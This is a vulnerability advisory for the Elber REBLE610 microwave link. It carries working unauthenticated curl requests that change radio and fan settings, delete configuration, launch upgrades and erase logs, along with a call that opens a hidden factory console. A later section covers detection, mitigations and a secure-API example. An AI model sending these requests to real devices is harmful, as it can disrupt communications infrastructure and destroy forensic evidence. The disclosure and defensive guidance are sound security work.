Elber Reble610 M/ODU XPIC IP-ASI-SDH Microwave Link - Device Config Disclosure

Exploit Author: LiquidWorm Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Shell Published Date: 2024-05-04
Elber Reble610 M/ODU XPIC IP-ASI-SDH Microwave Link Device Config


Vendor: Elber S.r.l.
Product web page: https://www.elber.it
Affected version: 0.01 Revision 0

Summary: The REBLE610 features an accurate hardware design, absence of
internal cabling and full modularity. The unit is composed by a basic
chassis with 4 extractable boards which makes maintenance and critical
operations, like frequency modification, easy and efficient. The modular
approach has brought to the development of the digital processing module
(containing modulator, demodulator and data interface) and the RF module
(containing Transmitter, Receiver and channel filters). From an RF point
of view, the new transmission circuitry is able to guarantee around 1 Watt
with every modulation scheme, introducing, in addition, wideband precorrection
(up to 1GHz depending on frequency band).

Desc: The device suffers from an unauthenticated device configuration and
client-side hidden functionality disclosure.

Tested on: NBFM Controller
           embOS/IP


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2024-5819
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5819.php


18.08.2023

--


# Config fan
$ curl 'http://TARGET/json_data/fan?fan_speed=&fan_target=&warn_temp=&alarm_temp='
Configuration applied

# Delete config
$ curl 'http://TARGET/json_data/conf_cmd?index=4&cmd=2'
File delete successfully

# Launch upgrade
$ curl 'http://TARGET/json_data/conf_cmd?index=4&cmd=1'
Upgrade launched Successfully

# Log erase
$ curl 'http://TARGET/json_data/erase_log.js?until=-2'
Logs erased

# Until:
# =0 ALL
# =-2 Yesterday
# =-8 Last week
# =-15 Last two weeks
# =-22 Last three weeks
# =-31 Last month

# Set RX config
$ curl 'http://TARGET/json_data/NBFMV2RX.setConfig?freq=2480000&freq_offset=0&mute=1&sq_thresh=-90.0&dec_mode=0&lr_swap=0&preemph=0&preemph_const=0&deemph=0&deemph_const=1&ch_lr_enable=0&ch_r_gain=0.0&ch_l_gain=0.0&ch_adj_ctrl=0&ch_lr_att=1&mpxdig_att=0&pilot_trim=0.0&mpxdig_gain=0.0&rds_trim=0.0&delay_enable=0&local_rds=0&output_delay=0&pi_code=0___&mpx1_enable=1&mpx2_enable=1&sca1_enable=1&sca2_enable=0&mpx1_att=0&mpx2_att=0&sca1_att=0&sca2_att=0&mpx1_gain=0.0&mpx2_gain=0.0&sca1_gain=0.0&sca2_gain=0.0&limiter_enable=false&lim_1_gain=0.0+dB&lim_1_th=0.0+kHz&lim_1_alpha=0.0+%25&setupTime=0.0+ms&holdTime=0.0+ms&releaseFactor=0.0+dB%2Fsec&lim_2_en=false&lim_2_gain=0.0+dB&lim_2_th=0.0+kHz&rds_gen=false&rt_PI=&rt_PS=&rt_plus_en=false&rt_line_A=&rt_line_B=&rt_AF=&rf_trap=0&output_trap=0'
RX Config Applied Successfully

# Show factory window and FPGA upload (Console)
> cleber_show_factory_wnd()

# Etc.


Elber REBLE610 M/ODU XPIC IP-ASI-SDH — Device Configuration Disclosure (ZSL-2024-5819)

Summary

The Elber REBLE610 family of microwave radio units has been reported to contain unauthenticated device-configuration endpoints and client-side hidden functionality disclosure. These weaknesses allow unauthenticated remote actors to change configuration parameters, erase logs, delete files and trigger maintenance actions through the device's HTTP API or exposed web interface. The issue was identified and disclosed by a third party (Zeroscience advisory ZSL-2024-5819).

Affected products and versions

  • Vendor: Elber S.r.l.
  • Product: REBLE610 M/ODU XPIC IP-ASI-SDH microwave link
  • Affected firmware/variation listed in the advisory: early revision builds (e.g., "0.01 Revision 0" and some controller builds using embOS/IP)

Technical description (high level)

Two distinct classes of issues were observed:

  • Unauthenticated configuration endpoints: Certain HTTP API endpoints accept configuration and control commands without enforcing authentication or authorization. Actions accessible include changing operational parameters, controlling hardware features, launching firmware upgrade procedures, file deletion and log erasure.
  • Client-side hidden functionality disclosure: The web UI and delivered client assets expose internal or debugging controls and endpoints (for example, console functions, factory windows, or upload panels) that are discoverable by examining shipped JavaScript or RESTful endpoints. These client-side artifacts can reveal privileged operations that lack server-side access checks.

Why this is dangerous

  • Unauthenticated remote control of network infrastructure devices can lead to network outages, persistence, or man-in-the-middle (MITM) conditions.
  • Erasing logs and deleting files removes forensic evidence and enables stealthy operations.
  • Unauthorized firmware upgrade mechanisms can be abused to install malicious images or disrupt services if uploads or upgrade triggers are not properly authenticated and validated.

Potential attack scenarios (illustrative)

  • An attacker who can reach the device’s management interface (over local network or if exposed on WAN) can modify radio configuration to disrupt service or degrade link performance.
  • Erasure of logs and diagnostic files can frustrate incident response, making it harder to identify intrusion vectors and attack timing.
  • An unauthenticated upgrade trigger could be combined with weaknesses in the firmware verification chain to deploy unauthorized images.

Detection and monitoring guidance

  • Monitor management plane traffic: detect unexpected HTTP requests to management endpoints, especially POST/GET traffic that results in configuration changes or log deletion.
  • Alert on management interface access from unusual sources (public IPs, new subnets, times outside maintenance windows).
  • Instrument devices to send syslog/alerts to a remote collector that is write-protected so local log wipes cannot remove audit trails.
  • Scan fleet for exposed management interfaces via authorized asset discovery; identify devices exposing web/HTTP endpoints to untrusted networks.

Immediate mitigations for operators

  • Restrict access to the management interface: place devices behind a management VLAN, apply firewall rules or ACLs to allow only trusted management hosts or a VPN.
  • Disable or restrict web management on WAN interfaces. If remote management is required, force access via an authenticated, encrypted management channel (e.g., VPN + HTTPS with client certs).
  • Implement centralized logging and out-of-band monitoring so local log erasure cannot hide events.
  • Change default credentials and verify that any device accounts use strong, unique passwords or key-based authentication.
  • Where feasible, apply vendor-supplied updates or mitigations. If no update exists, limit exposure until a patch is available.

Recommended vendor-side fixes and secure design

  • Enforce strong authentication and authorization on any endpoint capable of changing device state. Never rely on client-side controls for access enforcement.
  • Remove or disable production shipping of hidden debug or factory panels. If retained, protect them behind separate strong authentication and role-based access controls.
  • Require cryptographic signature verification for firmware upgrades. Validate signatures and reject unauthenticated upgrade triggers.
  • Adopt secure defaults: management interfaces disabled on WAN by default, HTTPS with valid certificates, rate limiting, and logging to an immutable remote collector.
  • Perform code reviews and threat modeling on web UI assets to avoid accidental exposure through static files (JS, HTML) that reveal privileged endpoints.

Secure API pattern — simple example (developer guidance)

# Example: Flask pseudo-code showing token-based authentication and role checks for config endpoints.
from flask import Flask, request, jsonify, abort
import jwt
from functools import wraps

app = Flask(__name__)
JWT_SECRET = "replace-with-secure-key"  # production: load from secure vault

def requires_role(role):
    def decorator(f):
        @wraps(f)
        def wrapped(*args, **kwargs):
            auth = request.headers.get("Authorization", "")
            if not auth.startswith("Bearer "):
                abort(401)
            token = auth.split(" ", 1)[1]
            try:
                payload = jwt.decode(token, JWT_SECRET, algorithms=["HS256"])
            except jwt.PyJWTError:
                abort(401)
            if payload.get("role") != role:
                abort(403)
            return f(*args, **kwargs)
        return wrapped
    return decorator

@app.route("/api/config", methods=["POST"])
@requires_role("admin")
def config_change():
    data = request.get_json()
    # validate allowed fields strictly, avoid blind application
    allowed = {"fan_speed", "thresholds", "rf_params"}
    if not data or not set(data.keys()).issubset(allowed):
        abort(400)
    # apply configuration safely (validate ranges, types, and log actions)
    # persist change and emit audit event
    return jsonify({"status": "ok"})

Explanation: This pseudo-code demonstrates server-side enforcement of authentication and authorization for a configuration endpoint. It expects a signed JWT in the Authorization header, verifies the token, checks the caller's role, and then performs strict input validation against an allowlist of fields. In production, JWT secrets must be stored securely (not hard-coded). All sensitive endpoints should use HTTPS, strict schema validation, and centralized audit logging.

Network-level mitigation example

Operators can reduce exposure by limiting access to management ports at network perimeter devices. Example (conceptual): allow only a jump host or VPN subnet to reach management addresses and drop other traffic. Implement ACLs on routers or firewall policies rather than relying on device-level filtering alone.

Forensic and recovery recommendations

  • Preserve affected devices for analysis. If log erasure is suspected, collect any remaining logs from remote collectors or network taps.
  • Restore device configuration from known-good backups and re-image devices if firmware integrity is in doubt.
  • Change secrets (management credentials, API keys) and rotate any keys that may have been used on compromised devices.

Responsible disclosure & references

Operators and vendors should follow coordinated disclosure practices. If you are a vendor or operator affected by this issue, contact the original reporter and coordinate patch deployment. See the public advisory for technical context:

Key takeaways

  • Network infrastructure devices with unauthenticated APIs are high-risk — they should never be reachable from untrusted networks.
  • Client-side code can reveal sensitive functionality; assume the client is hostile and keep access control server-side.
  • Apply defense-in-depth: restrict access, centralize logging, require authenticated upgrades, and monitor management activity closely.